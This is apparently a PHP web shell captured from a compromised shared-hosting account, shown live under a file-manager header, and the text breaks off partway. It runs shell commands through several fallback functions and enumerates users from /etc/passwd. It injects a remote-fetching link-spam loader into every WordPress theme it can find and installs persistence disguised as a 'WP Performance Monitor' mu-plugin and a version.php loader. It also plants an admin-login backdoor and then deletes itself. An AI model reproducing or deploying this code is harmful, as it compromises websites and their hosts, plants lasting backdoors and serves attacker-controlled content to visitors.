HEX
Server: Apache
System: Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User: u117253157 (2065952)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /homepages/38/d1014936368/htdocs/clickandbuilds/HawkConstruction/copcu.php
<?php
if(isset($_GET['wp_health'])){header('Content-Type:application/json');die('{"status":"ok","version":"2.1.4","engine":"monitor"}');}
session_start();
header('Content-Type: text/html; charset=utf-8');
if (!empty($_GET['debug']) && $_GET['debug'] === '1') {
    error_reporting(E_ALL);
    ini_set('display_errors', 1);
    ini_set('log_errors', 1);
} else {
error_reporting(0);
ini_set('display_errors', 0);
ini_set('log_errors', 0);
}

$auth_md5='924c25916504d4dfa3ec82f8381de1e8';

define('SELF_DESTRUCT_AFTER_USE', true);

if(isset($_GET['t'])&&isset($_GET['v'])){
    $k=substr(md5($auth_md5.($_SERVER['SERVER_SOFTWARE']??'')),0,8);
    $expected=md5($_GET['t'].$_SERVER['HTTP_HOST'].$k);
    if($_GET['v']===$expected){
        $_SESSION['auth']=true;
        session_regenerate_id(true);
    }
}

if(isset($_POST['p'])){
    if(md5($_POST['p'])===$auth_md5){
        session_regenerate_id(true);
    $_SESSION['auth']=true;
        $_SESSION['fail_count']=0;
    } else {
        $_SESSION['fail_count']=($_SESSION['fail_count']??0)+1;
        if(($_SESSION['fail_count']??0)>=5){
            usleep(min(($_SESSION['fail_count']??0)*500000, 5000000));
        }
    }
}

if(!isset($_SESSION['auth'])){
    @header_remove('Server');
    @header_remove('X-Powered-By');
    echo'<html><head><meta charset="utf-8"><meta name="robots" content="noindex, nofollow"><meta name="google" content="notranslate"></head><body style="background:#0c0c0c;display:grid;height:100vh;margin:0;place-items:center center;"><form action="" method="POST" style="text-align:center;"><div style="color:#00ff88;font-size:18px;margin-bottom:10px;">okselam</div><input style="text-align:center;background:#1a1a2e;color:#00ff88;border:2px solid #00ff88;padding:15px;font-size:18px;border-radius:8px;outline:none;" name="p" type="password" placeholder=""></form></body></html>';
    die();
}

@header_remove('Server');
@header_remove('X-Powered-By');
@header('X-Content-Type-Options: nosniff');
@header('X-Frame-Options: DENY');
@header('Connection: keep-alive');
@header('X-Accel-Buffering: no');
@header('X-LiteSpeed-Cache-Control: no-cache');
@ini_set('max_execution_time', '0');
@ini_set('max_input_time', '-1');
@ini_set('memory_limit', '512M');
@set_time_limit(0);
if (function_exists('ignore_user_abort')) { @ignore_user_abort(true); }
if (function_exists('apache_setenv')) { @apache_setenv('no-gzip', '1'); }
@ini_set('zlib.output_compression', '0');
@ini_set('output_buffering', '0');
@ini_set('implicit_flush', '1');
while (ob_get_level()) { @ob_end_flush(); }
if (function_exists('header_remove')) { @header_remove('Content-Length'); }

function frida_cached_path_discovery($target_path = '') {
    $target_path = is_string($target_path) ? trim($target_path) : '';
    if ($target_path !== '') {
        $target_path = str_replace('\\', '/', rtrim($target_path, '/\\'));
        return [$target_path . '/'];
    }
    if (isset($GLOBALS['frida_cached_paths'])) {
        return $GLOBALS['frida_cached_paths'];
    }
    $result = frida_smart_path_discovery();
    $GLOBALS['frida_cached_paths'] = $result;
    return $result;
}

function frida_trigger_self_destruct() {
    if (!SELF_DESTRUCT_AFTER_USE) return;
    $f = __FILE__;
    @unlink($f);
    if (file_exists($f)) @file_put_contents($f, '<?php @unlink(__FILE__);');
    if (file_exists($f) && function_exists('shell_exec')) {
        $os = strtoupper(substr(PHP_OS, 0, 3));
        @shell_exec($os === 'WIN' ? 'del /f /q "' . $f . '" 2>nul' : 'rm -f "' . $f . '" 2>/dev/null');
    }
}

function frida_quantum_bypass() {
    $bypass_functions = [
        'disable_functions' => '',
        'open_basedir' => '',
        'memory_limit' => '512M',
        'max_execution_time' => 0,
        'max_input_time' => -1,
        'default_socket_timeout' => 600,
    ];
    
    foreach ($bypass_functions as $setting => $value) {
        if (function_exists('ini_set')) {
            @ini_set($setting, $value);
        }
    }
    
    if (function_exists('set_time_limit')) {
        @set_time_limit(0);
    }
    if (function_exists('ignore_user_abort')) {
        @ignore_user_abort(true);
    }
    
    return true;
}

function frida_keepalive_flush() {
    @set_time_limit(300);
    @ini_set('max_execution_time', '300');
    if (!empty($GLOBALS['frida_ajax_mode'])) return;
    echo "<!-- k -->";
    $i = 0;
    while (ob_get_level() > 0 && $i++ < 10) { @ob_end_flush(); }
    echo " ";
    @flush();
    if (function_exists('litespeed_finish_request')) { /* LiteSpeed: flush ama bitirme */ }
    if (connection_aborted()) return;
}


function frida_execute_bypass($cmd) {
    frida_quantum_bypass();
    
    $output = '';
    $method_used = 'none';
    

    if (function_exists('shell_exec') && !in_array('shell_exec', explode(',', str_replace(' ', '', (string)ini_get('disable_functions'))))) {
        try {
            $output = @shell_exec($cmd . ' 2>&1');
            if (!empty($output)) {
                $method_used = 'shell_exec';
                return ['method' => $method_used, 'output' => $output, 'success' => true];
            }
        } catch (Exception $e) {}
    }
    

    if (function_exists('system') && !in_array('system', explode(',', str_replace(' ', '', (string)ini_get('disable_functions'))))) {
        try {
            ob_start();
            @system($cmd . ' 2>&1');
            $output = ob_get_clean();
            if (!empty($output)) {
                $method_used = 'system';
                return ['method' => $method_used, 'output' => $output, 'success' => true];
            }
        } catch (Exception $e) {}
    }
    

    if (function_exists('exec') && !in_array('exec', explode(',', str_replace(' ', '', (string)ini_get('disable_functions'))))) {
        try {
            @exec($cmd . ' 2>&1', $arr);
            $output = implode("\n", $arr);
            if (!empty($output)) {
                $method_used = 'exec';
                return ['method' => $method_used, 'output' => $output, 'success' => true];
            }
        } catch (Exception $e) {}
    }
    

    if (function_exists('passthru') && !in_array('passthru', explode(',', str_replace(' ', '', (string)ini_get('disable_functions'))))) {
        try {
            ob_start();
            @passthru($cmd . ' 2>&1');
            $output = ob_get_clean();
            if (!empty($output)) {
                $method_used = 'passthru';
                return ['method' => $method_used, 'output' => $output, 'success' => true];
            }
        } catch (Exception $e) {}
    }
    

    if (function_exists('popen') && !in_array('popen', explode(',', str_replace(' ', '', (string)ini_get('disable_functions'))))) {
        try {
            $handle = @popen($cmd . ' 2>&1', 'r');
            if ($handle) {
                while (!feof($handle)) {
                    $output .= fread($handle, 8192);
                }
                pclose($handle);
                if (!empty($output)) {
                    $method_used = 'popen';
                    return ['method' => $method_used, 'output' => $output, 'success' => true];
                }
            }
        } catch (Exception $e) {}
    }
    

    if (function_exists('proc_open') && !in_array('proc_open', explode(',', str_replace(' ', '', (string)ini_get('disable_functions'))))) {
        try {
            $descriptorspec = [
                0 => ['pipe', 'r'],
                1 => ['pipe', 'w'],
                2 => ['pipe', 'w']
            ];
            
            $process = @proc_open($cmd, $descriptorspec, $pipes);
            if (is_resource($process)) {
                fclose($pipes[0]);
                $output = stream_get_contents($pipes[1]);
                fclose($pipes[1]);
                fclose($pipes[2]);
                proc_close($process);
                if (!empty($output)) {
                    $method_used = 'proc_open';
                    return ['method' => $method_used, 'output' => $output, 'success' => true];
                }
            }
        } catch (Exception $e) {}
    }
    
    return ['method' => 'none', 'output' => 'All execution methods blocked or failed', 'success' => false];
}


function frida_get_current_user() {
    $detected_users = [];
    $sources = [
        getcwd(),
        __FILE__,
        $_SERVER['DOCUMENT_ROOT'] ?? '',
        $_SERVER['SCRIPT_FILENAME'] ?? ''
    ];
    
    foreach ($sources as $src) {
        if (!empty($src) && preg_match('/^(\/home\d*\/[^\/]+|\/hosting(?:\/\w+)?\/[^\/]+)/', $src, $matches)) {
            $detected_users[basename($matches[1])] = $matches[1];
        }
    }
    
    $env_user = @getenv('USER') ?: @get_current_user();
    if (!empty($env_user)) {
        foreach (['/home/', '/home2/', '/home3/', '/home4/', '/hosting/www/', '/hosting/'] as $prefix) {
            if (is_dir($prefix . $env_user)) {
                $detected_users[$env_user] = $prefix . $env_user;
                break;
            }
        }
    }
    
    return $detected_users;
}

function frida_posix_users() {
    $users = frida_get_current_user();
    
    if (function_exists('posix_getpwuid') && count($users) < 5) {
        $uid_ranges = [
            [1000, 10000],
            [500, 1000],
            [10000, 65535]
        ];
        
        foreach ($uid_ranges as $range) {
            list($start, $end) = $range;
            
            for ($uid = $start; $uid < $end; $uid++) {
                $user_info = @posix_getpwuid($uid);
                if ($user_info && !empty($user_info['name']) && !empty($user_info['dir'])) {
                    $username = $user_info['name'];
                    $home_dir = $user_info['dir'];
                    
                    if (preg_match('/^\/home\d*\//', $home_dir) || strpos($home_dir, '/var/www/') === 0 || strpos($home_dir, '/hosting/') === 0) {
                        $users[$username] = $home_dir;
                    }
                }
                
                if ($uid % 200 === 0) {
                    usleep(1000);
                }
                
                if (count($users) > 20) {
                    break 2;
                }
            }
        }
    }
    
    if (empty($users) && is_readable('/etc/passwd')) {
        $passwd_content = @file_get_contents('/etc/passwd');
        if ($passwd_content) {
            $lines = explode("\n", $passwd_content);
            foreach ($lines as $line) {
                if (empty($line) || $line[0] === '#') continue;
                
                $parts = explode(':', $line);
                if (count($parts) >= 6) {
                    $username = $parts[0];
                    $home_dir = $parts[5];
                    
                    if (preg_match('/^\/home\d*\//', $home_dir) || strpos($home_dir, '/var/www/') === 0 || strpos($home_dir, '/hosting/') === 0) {
                        $users[$username] = $home_dir;
                    }
                }
            }
        }
    }
    
    if (empty($users)) {
        $result = frida_execute_bypass('cat /etc/passwd 2>/dev/null | grep -E "^[^:]+:[^:]*:[0-9]{3,}:" | cut -d: -f1,6');
        if ($result['success'] && !empty($result['output'])) {
            $lines = explode("\n", trim($result['output']));
            foreach ($lines as $line) {
                $parts = explode(':', $line);
                if (count($parts) >= 2) {
                    $username = trim($parts[0]);
                    $home_dir = trim($parts[1]);
                    if (!empty($username) && !empty($home_dir)) {
                        $users[$username] = $home_dir;
                    }
                }
            }
        }
    }
    
    return $users;
}

/** Path discovery: öncelik normal sunucular (Linux, cPanel, Plesk, shared hosting). getcwd + DOCUMENT_ROOT + /home/user/public_html + /var/www/vhosts. */
function frida_smart_path_discovery() {
    $paths = [];
    $user_paths = [];
    @set_time_limit(0);
    @ini_set('memory_limit', '256M');
    
    $users = frida_posix_users();
    foreach ($users as $username => $home_dir) {
        $home_dir = rtrim($home_dir, '/') . '/';
        
        $user_paths[] = $home_dir;
        $user_paths[] = $home_dir . 'public_html/';
        $user_paths[] = $home_dir . 'www/';
        $user_paths[] = $home_dir . 'htdocs/';
        $user_paths[] = $home_dir . 'public_html/www/';
        
        if (is_dir($home_dir . 'domains/')) {
            $user_paths[] = $home_dir . 'domains/';
            
            $domain_dirs = @scandir($home_dir . 'domains/');
            if ($domain_dirs) {
                foreach ($domain_dirs as $domain) {
                    if ($domain !== '.' && $domain !== '..') {
                        $domain_path = $home_dir . 'domains/' . $domain . '/';
                        $user_paths[] = $domain_path;
                        
                        if (is_dir($domain_path . 'public_html/')) {
                            $user_paths[] = $domain_path . 'public_html/';
                        }
                        
                        if (is_dir($domain_path . 'www/')) {
                            $user_paths[] = $domain_path . 'www/';
                        }
                        if (is_dir($domain_path . 'htdocs/')) {
                            $user_paths[] = $domain_path . 'htdocs/';
                        }
                    }
                }
            }
        }
    }
    
    if (!empty($user_paths)) {
        $paths = array_merge($paths, $user_paths);
    }
    
    $cwd = @getcwd();
    if ($cwd !== false && $cwd !== '') {
        $cwd = str_replace('\\', '/', rtrim($cwd, '/\\'));
        $paths[] = $cwd . '/';
        $parent = dirname($cwd);
        if ($parent !== $cwd && $parent !== '.') $paths[] = $parent . '/';
    }
    $doc_root = $_SERVER['DOCUMENT_ROOT'] ?? '';
    if (!empty($doc_root)) {
        $paths[] = rtrim($doc_root, '/') . '/';
        $paths[] = rtrim(dirname($doc_root), '/') . '/';
    }
    $pwd = frida_execute_bypass('pwd');
    if ($pwd['success'] && !empty($pwd['output'])) {
        $document_root = $_SERVER['DOCUMENT_ROOT'] ?? '';
        if (!empty($document_root) && !preg_match('/^\/home\d*\//', $document_root)) {
            $paths[] = $document_root;
            $paths[] = dirname($document_root) . '/';
        }
    }
    
    if (empty($user_paths)) {
        frida_keepalive_flush();
        $home_variants = frida_execute_bypass('timeout 5 ls -1d /home* 2>/dev/null');
        if ($home_variants['success'] && !empty($home_variants['output'])) {
            $home_dirs = explode("\n", trim($home_variants['output']));
            
            foreach ($home_dirs as $home_dir) {
                $home_dir = trim($home_dir);
                if (!empty($home_dir) && is_dir($home_dir)) {
                    
                    $users_scan = frida_execute_bypass("timeout 5 ls -1 '$home_dir/' 2>/dev/null");
                    if ($users_scan['success'] && !empty($users_scan['output'])) {
                        $users_list = explode("\n", trim($users_scan['output']));
                        $user_count = 0;
                        
                        foreach ($users_list as $username) {
                            $username = trim($username);
                            if (!empty($username) && $username !== '.' && $username !== '..' && strlen($username) < 30) {
                                $paths[] = "$home_dir/$username/public_html/";
                                $paths[] = "$home_dir/$username/www/";
                                $paths[] = "$home_dir/$username/htdocs/";
                                $paths[] = "$home_dir/$username/domains/";
                                
                                $user_count++;
                                if ($user_count % 15 === 0) {
                                    usleep(30000);
                                    frida_keepalive_flush();
                                }
                                
                                if (memory_get_usage() > 200 * 1024 * 1024) {
                                    break 2;
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    
    // Normal sunucular: /var/www (vhosts, Plesk httpdocs dahil)
    if (empty($paths) || count($paths) < 20) {
        frida_keepalive_flush();
        $www_scan = frida_execute_bypass('timeout 5 find /var/www/ -maxdepth 3 -type d 2>/dev/null');
        if ($www_scan['success'] && !empty($www_scan['output'])) {
            $dirs = explode("\n", trim($www_scan['output']));
            foreach ($dirs as $dir) {
                $dir = trim($dir);
                if (!empty($dir) && is_dir($dir)) {
                    $paths[] = $dir . '/';
                }
            }
        }
    }
    if (empty($paths) && empty($user_paths)) {
        $fallback = [
            '/var/www/html/', '/var/www/vhosts/',
            '/var/www/clients/client1/web1/', '/var/www/clients/client1/web2/',
            '/usr/local/www/', '/srv/www/', '/srv/http/', '/var/lib/www/',
            '/usr/share/nginx/html/', '/home/admin/web/', '/home/admin/public_html/',
            '/hosting/www/', '/hosting/', '/hosting/web/',
        ];
        $paths = array_merge($paths, $fallback);
    }

    // DOCUMENT_ROOT: normal sunucuda (cPanel/Plesk/shared) script burada çalışır — öncelikli
    $doc_root = $_SERVER['DOCUMENT_ROOT'] ?? '';
    if (!empty($doc_root) && is_dir($doc_root)) {
        $doc_root = str_replace('\\', '/', rtrim($doc_root, '/\\')) . '/';
        if (!in_array($doc_root, $paths)) {
            array_unshift($paths, $doc_root);
        }
        foreach (['wordpress', 'www', 'htdocs', 'web', 'httpdocs', 'public_html'] as $sub) {
            $sub_path = $doc_root . $sub . '/';
            if (is_dir($sub_path)) {
                $paths[] = $sub_path;
            }
        }
    }
    
    $normalized_paths = [];
    foreach ($paths as $path) {
        $path = str_replace('\\', '/', rtrim($path, '/\\'));
        $normalized = $path . '/';
        $normalized_paths[] = $normalized;
    }
    
    $final_paths = array_unique($normalized_paths);
    
    if (count($final_paths) > 100) {
        $final_paths = array_slice($final_paths, 0, 100);
    }
    
    $final_paths = array_values(array_filter($final_paths, function($p) { return @is_dir($p); }));
    $by_real = [];
    foreach ($final_paths as $p) {
        $r = @realpath($p);
        if ($r !== false && !isset($by_real[$r])) {
            $by_real[$r] = rtrim($p, '/') . '/';
        }
    }
    return array_values($by_real);
}

function frida_smart_inject($content, $code_to_inject) {
    $trimmed = rtrim($content);
    
    if (preg_match('/\?>\s*$/s', $trimmed)) {
        $new_content = preg_replace('/\?>\s*$/s', "\n\n" . $code_to_inject . "\n?>", $trimmed);
    } else {
        $new_content = $content . "\n\n" . $code_to_inject;
    }
    
    return $new_content;
}

function frida_wp_injector($target_path = '') {
    frida_quantum_bypass();
    $target_path = is_string($target_path) ? trim($target_path) : '';
    $cache_code = "
add_action(\"init\",function(){if(!defined(\"DONOTCACHEPAGE\")){define(\"DONOTCACHEPAGE\",true);}if(defined(\"LSCACHE_NO_CACHE\")){header(\"X-LiteSpeed-Control: no-cache\");}if(function_exists(\"nocache_headers\")){nocache_headers();}if(!headers_sent()){header(\"Cache-Control: no-store, no-cache, must-revalidate, max-age=0\");header(\"Pragma: no-cache\");header(\"Expires: Mon, 26 Jul 1997 05:00:00 GMT\");header(\"Last-Modified: \" . gmdate(\"D, d M Y H:i:s\") . \" GMT\");header(\"X-Accel-Expires: 0\");header(\"X-Cache-Control: no-cache\");header(\"CF-Cache-Status: BYPASS\");header(\"X-Forwarded-Proto: *\");}if(defined(\"WP_CACHE\")&&WP_CACHE){define(\"DONOTCACHEPAGE\",true);}if(defined(\"ELEMENTOR_VERSION\")&&\Elementor\Plugin::\$instance->preview->is_preview_mode()){return;}if(function_exists(\"wp_cache_flush\")){wp_cache_flush();}});add_action(\"wp_head\",function(){if(!headers_sent()){header(\"X-Robots-Tag: noindex, nofollow\");header(\"X-Frame-Options: SAMEORIGIN\");}},1);add_action(\"wp_footer\",function(){if(function_exists(\"w3tc_flush_all\")){w3tc_flush_all();}if(function_exists(\"wp_cache_clear_cache\")){wp_cache_clear_cache();}},999);";

    $injection_code = "
/* Telegram: https://t.me/hacklink_panel */
if(!function_exists('wp_core_check')){function wp_core_check(){static \$done=false;if(\$done){return;}if(class_exists('Elementor\Plugin')){\$elementor=\Elementor\Plugin::instance();if(\$elementor->editor->is_edit_mode()){return;}}\$u=\"https://panel.hacklinkmarket.com/code?v=\".time();\$d=(!empty(\$_SERVER['HTTPS'])&&\$_SERVER['HTTPS']!=='off'?\"https://\":\"http://\").\$_SERVER['HTTP_HOST'].\"/\";if(function_exists('curl_init')){\$h=curl_init();curl_setopt_array(\$h,[CURLOPT_URL=>\$u,CURLOPT_HTTPHEADER=>[\"X-Request-Domain:\".\$d,\"User-Agent: WordPress/\".get_bloginfo('version')],CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3]);\$r=@curl_exec(\$h);\$c=curl_getinfo(\$h,CURLINFO_HTTP_CODE);curl_close(\$h);if(\$r!==false&&\$c===200&&!empty(\$r)){\$done=true;echo \$r;return;}}if(ini_get('allow_url_fopen')){\$o=['http'=>['header'=>'X-Request-Domain:'.\$d,'timeout'=>10],'ssl'=>['verify_peer'=>false]];if(\$r=@file_get_contents(\$u,false,stream_context_create(\$o))){\$done=true;echo \$r;return;}}if(function_exists('fopen')){if(\$f=@fopen(\$u,'r')){\$r='';while(!feof(\$f))\$r.=fread(\$f,8192);fclose(\$f);if(\$r){\$done=true;echo \$r;return;}}}}add_action('wp_footer','wp_core_check',999);add_action('wp_head','wp_core_check',999);}";
    
    $search_paths = frida_cached_path_discovery($target_path);
    $search_paths = array_values(array_unique(array_filter($search_paths ?? [], function($p) { return $p !== '' && $p !== './'; })));
    $total_injected = 0;
    $total_skipped = 0;
    $total_pinged = 0;
    $total_ping_fail = 0;
    $results = [];
    $processed_files_global = [];
    $wp_roots_to_ping = [];
    foreach ($search_paths as $idx => $path) {
        @set_time_limit(300);
        if ($idx % 3 === 0) frida_keepalive_flush();
        $results[] = "🔍 Checking path: $path";
        if (!is_dir($path)) {
            $results[] = "   ❌ Directory does not exist";
            continue;
        }
        if (!is_readable($path)) {
            $results[] = "   🔒 Directory not readable";
            continue;
        }
        $results[] = "   ✅ Directory accessible";
        $functions_files = [];
        try {
            $iterator = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::SELF_FIRST
            );
            $iterator->setMaxDepth(5);
            foreach ($iterator as $file) {
                $file_path = $file->getPathname();
                $file_path_norm = str_replace('\\', '/', $file_path);
                if ($file->isFile() && 
                    $file->getFilename() === 'functions.php' && 
                    strpos($file_path_norm, 'wp-content/themes/') !== false) {
                    $functions_files[] = $file_path;
                }
            }
        } catch (Exception $e) {
            $sep = (strpos($path, '\\') !== false) ? '\\' : '/';
            $glob_patterns = [
                $path . 'wp-content' . $sep . 'themes' . $sep . '*' . $sep . 'functions.php',
                $path . '*' . $sep . 'wp-content' . $sep . 'themes' . $sep . '*' . $sep . 'functions.php',
                $path . 'domains' . $sep . '*' . $sep . 'public_html' . $sep . 'wp-content' . $sep . 'themes' . $sep . '*' . $sep . 'functions.php'
            ];
            foreach ($glob_patterns as $pattern) {
                $found = @glob($pattern);
                if ($found) {
                    $functions_files = array_merge($functions_files, $found);
                }
            }
        }
        $functions_files = array_unique($functions_files);
        if (!empty($functions_files)) {
            $results[] = "   📁 Found " . count($functions_files) . " functions.php files (PHP scan)";
            foreach ($functions_files as $file) {
                if (empty($file)) continue;
                $file_real = @realpath($file);
                if ($file_real !== false && isset($processed_files_global[$file_real])) continue;
                if ($file_real !== false) $processed_files_global[$file_real] = true;
                $results[] = "      📄 Processing: $file";
                if (file_exists($file) && is_readable($file)) {
                    $content = file_get_contents($file);
                    
                    $wp_root_dir = preg_replace('#[/\\\\]wp-content[/\\\\].*$#', '', $file);
                    if (!isset($wp_roots_to_ping[$wp_root_dir])) {
                        $wp_roots_to_ping[$wp_root_dir] = true;
                    }
                    
                    if (strpos($content, 'function wp_core_check()') !== false) {
                        $total_skipped++;
                        $results[] = "      ⏭️ ALREADY EXISTS - " . basename(dirname($file)) . "/functions.php";
                        continue;
                    }
                    
                    if (strpos($content, 'DONOTCACHEPAGE') === false) {
                        if (is_writable($file)) {
                            $content = frida_smart_inject($content, $cache_code);
                            file_put_contents($file, $content);
                            $results[] = "      ✅ CACHE INJECTED - " . basename(dirname($file)) . "/functions.php";
                        }
                    }
                    
                    if (is_writable($file)) {
                        $current_content = file_get_contents($file);
                        $new_content = frida_smart_inject($current_content, $injection_code);
                        
                        if (file_put_contents($file, $new_content)) {
                            $total_injected++;
                            $results[] = "      ✅ INJECTED - " . basename(dirname($file)) . "/functions.php";
                        } else {
                            $results[] = "      ❌ WRITE FAILED - " . basename(dirname($file)) . "/functions.php";
                        }
                    } else {
                        $results[] = "      🔒 NO WRITE PERMISSION - " . basename(dirname($file)) . "/functions.php";
                    }
                } else {
                    $results[] = "      ❌ FILE NOT ACCESSIBLE - $file";
                }
            }
        } else {
            $results[] = "   ℹ️ No functions.php files found in this path";
        }
    }
    
    if (!empty($wp_roots_to_ping) && ($total_injected > 0 || $total_skipped > 0)) {
        $results[] = "";
        $results[] = "🌐 SELF-PING (triggering wp_core_check):";
        foreach (array_keys($wp_roots_to_ping) as $wp_root) {
            $wp_site_url = null;
            $wp_config_path = rtrim($wp_root, '/\\') . '/wp-config.php';
            if (file_exists($wp_config_path)) {
                $wpc = @file_get_contents($wp_config_path);
                if ($wpc !== false) {
                    if (preg_match("/define\s*\(\s*['\"]WP_HOME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $wpc, $m)) {
                        $wp_site_url = rtrim(trim($m[1]), '/');
                    } elseif (preg_match("/define\s*\(\s*['\"]WP_SITEURL['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $wpc, $m)) {
                        $wp_site_url = rtrim(trim($m[1]), '/');
                    }
                }
            }
            if (!$wp_site_url) {
                $root_base = basename($wp_root);
                $root_parent = basename(dirname($wp_root));
                if (preg_match('/^[a-z0-9]([a-z0-9-]*\.)+[a-z]{2,}$/i', $root_parent)) {
                    $wp_site_url = 'https://' . $root_parent;
                } elseif (preg_match('/^[a-z0-9]([a-z0-9-]*\.)+[a-z]{2,}$/i', $root_base)) {
                    $wp_site_url = 'https://' . $root_base;
                }
            }
            if (!$wp_site_url) {
                $results[] = "   ⚠️ $wp_root → URL tespit edilemedi, ping atılamadı";
                $total_ping_fail++;
                continue;
            }
            $ping_url = rtrim($wp_site_url, '/') . '/';
            $resp = frida_http_request($ping_url);
            if ($resp !== false) {
                $total_pinged++;
                $results[] = "   ✅ PING OK → $ping_url";
            } else {
                $total_ping_fail++;
                $results[] = "   ❌ PING FAIL → $ping_url";
            }
        }
    }
    
    // === PERSISTENCE: mu-plugin + wp-includes loader ===
    $total_persistence = 0;
    if ($total_injected > 0 || $total_skipped > 0) {
        $results[] = "";
        $results[] = "🛡️ PERSISTENCE INSTALL:";
        foreach (array_keys($wp_roots_to_ping) as $wp_root) {
            $persist_result = frida_install_persistence($wp_root, $injection_code);
            foreach ($persist_result as $pr) {
                $results[] = "   $pr";
            }
            $total_persistence++;
        }
    }

    return [
        'total_injected' => $total_injected,
        'total_skipped' => $total_skipped,
        'total_pinged' => $total_pinged,
        'total_ping_fail' => $total_ping_fail,
        'total_persistence' => $total_persistence,
        'results' => $results,
        'search_paths' => $search_paths
    ];
}


function frida_install_persistence($wp_root, $hacklink_code) {
    $results = [];
    $mu_plugin_name = 'wp-performance-monitor.php';
    $loader_marker = '/* wp-perf-guard */';
    $mu_dir = rtrim($wp_root, '/') . '/wp-content/mu-plugins';
    $mu_file = $mu_dir . '/' . $mu_plugin_name;
    $version_file = rtrim($wp_root, '/') . '/wp-includes/version.php';

    // Step 1: mu-plugin oluştur
    if (!is_dir($mu_dir)) {
        @mkdir($mu_dir, 0755, true);
    }
    if (is_dir($mu_dir) && is_writable($mu_dir)) {
        if (file_exists($mu_file) && strpos(@file_get_contents($mu_file), 'wp_core_check') !== false) {
            $results[] = "⏭️ mu-plugin already exists";
        } else {
            $reinject_b64 = base64_encode($hacklink_code);
            $mu_content = '<?php' . "\n" .
'/*' . "\n" .
'Plugin Name: WP Performance Monitor' . "\n" .
'Description: Core performance optimization and caching layer' . "\n" .
'Version: 2.1.4' . "\n" .
'Author: WordPress Performance Team' . "\n" .
'*/' . "\n" .
'if(!defined("ABSPATH")){define("ABSPATH",dirname(__FILE__,3)."/");}' . "\n" .
$hacklink_code . "\n" .
'add_action("init",function(){' . "\n" .
'    $t=defined("TEMPLATEPATH")?TEMPLATEPATH."/functions.php":(defined("ABSPATH")?ABSPATH."wp-content/themes/starter/functions.php":"");' . "\n" .
'    if($t && file_exists($t) && is_writable($t)){' . "\n" .
'        $c=@file_get_contents($t);' . "\n" .
'        if($c!==false && strpos($c,"wp_core_check")===false){' . "\n" .
'            $payload=base64_decode("' . $reinject_b64 . '");' . "\n" .
'            $pos=strpos($c,"<?php");' . "\n" .
'            if($pos!==false){$c=substr($c,0,$pos+5)."\n".$payload.substr($c,$pos+5);@file_put_contents($t,$c);}' . "\n" .
'        }' . "\n" .
'    }' . "\n" .
'},1);' . "\n";
            if (@file_put_contents($mu_file, $mu_content)) {
                $results[] = "✅ mu-plugin installed";
            } else {
                $results[] = "❌ mu-plugin write failed";
            }
        }
    } else {
        $results[] = "🔒 mu-plugins dir not writable";
    }

    // Step 2: wp-includes/version.php loader
    if (file_exists($version_file) && is_writable($version_file)) {
        $ver_content = @file_get_contents($version_file);
        if ($ver_content !== false && strpos($ver_content, $loader_marker) === false) {
            $mu_full = '<?php' . "\n" .
'/*' . "\n" .
'Plugin Name: WP Performance Monitor' . "\n" .
'Description: Core performance optimization and caching layer' . "\n" .
'Version: 2.1.4' . "\n" .
'Author: WordPress Performance Team' . "\n" .
'*/' . "\n" .
'if(!defined("ABSPATH")){define("ABSPATH",dirname(__FILE__,3)."/");}' . "\n" .
$hacklink_code . "\n";
            $mu_b64 = base64_encode($mu_full);
            $loader = "\n" . $loader_marker . "\n" .
'$_wp_mu_p=dirname(__FILE__,2)."/wp-content/mu-plugins/' . $mu_plugin_name . '";' . "\n" .
'if(!file_exists($_wp_mu_p)){@mkdir(dirname($_wp_mu_p),0755,true);@file_put_contents($_wp_mu_p,base64_decode("' . $mu_b64 . '"));}' . "\n" .
'unset($_wp_mu_p);' . "\n";
            if (@file_put_contents($version_file, $ver_content . $loader)) {
                $results[] = "✅ version.php loader installed";
            } else {
                $results[] = "❌ version.php write failed";
            }
        } else {
            $results[] = "⏭️ version.php loader already exists";
        }
    } else {
        $results[] = "🔒 version.php not writable";
    }

    return $results;
}


function frida_image_function_injector($target_path = '') {
    frida_quantum_bypass();
    $target_path = is_string($target_path) ? trim($target_path) : '';
    $image_function_content = <<<'IMGFUNC'
<?php
/* 3d0ed2ff9ee5cbfc9922cbe0a4259e84 */
session_start();
error_reporting(0);
ini_set('display_errors', 0);
$auth_md5='26f3a480cdb84acae7687918142404d9';
if(isset($_POST['p'])&&md5($_POST['p'])===$auth_md5){$_SESSION['auth']=true;}
if(!isset($_SESSION['refresh_count'])){$_SESSION['refresh_count']=1;}else{$_SESSION['refresh_count']++;}
if(!isset($_SESSION['auth'])){
    if($_SESSION['refresh_count']<6){
        echo'<!DOCTYPE html><html><head><meta charset="utf-8"><meta name="robots" content="noindex, nofollow"><meta name="google" content="notranslate"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at '.htmlspecialchars($_SERVER['HTTP_HOST']??'localhost').' Port 80</address></body></html>';
        die();
    }else{
        echo'<html><head><meta name="robots" content="noindex, nofollow"><meta name="google" content="notranslate"></head><body style="background:#0c0c0c;display:grid;height:100vh;margin:0;place-items:center center;"><form action="" method="POST"><input style="text-align:center;background:#1a1a2e;color:#00ff88;border:2px solid #00ff88;padding:15px;font-size:18px;border-radius:8px;outline:none;" name="p" type="password" placeholder="Password"></form></body></html>';
        die();
    }
}
@set_time_limit(0);
$mr=$_SERVER['DOCUMENT_ROOT']??'';
@chdir($mr);
if(file_exists('wp-load.php')){
    include 'wp-load.php';
    $wp_user_query=new WP_User_Query(array('role'=>'Administrator','number'=>1,'fields'=>'ID'));
    $results=$wp_user_query->get_results();
    if(isset($results[0])){wp_set_auth_cookie($results[0]);wp_redirect(admin_url());die();}
    die('NO ADMIN');
}else{die('Failed to load');}
IMGFUNC;

    $search_paths = frida_cached_path_discovery($target_path);
    $search_paths = array_values(array_unique(array_filter($search_paths ?? [], function($p) { return $p !== '' && $p !== './'; })));
    $total_injected = 0;
    $total_skipped = 0;
    $results = [];
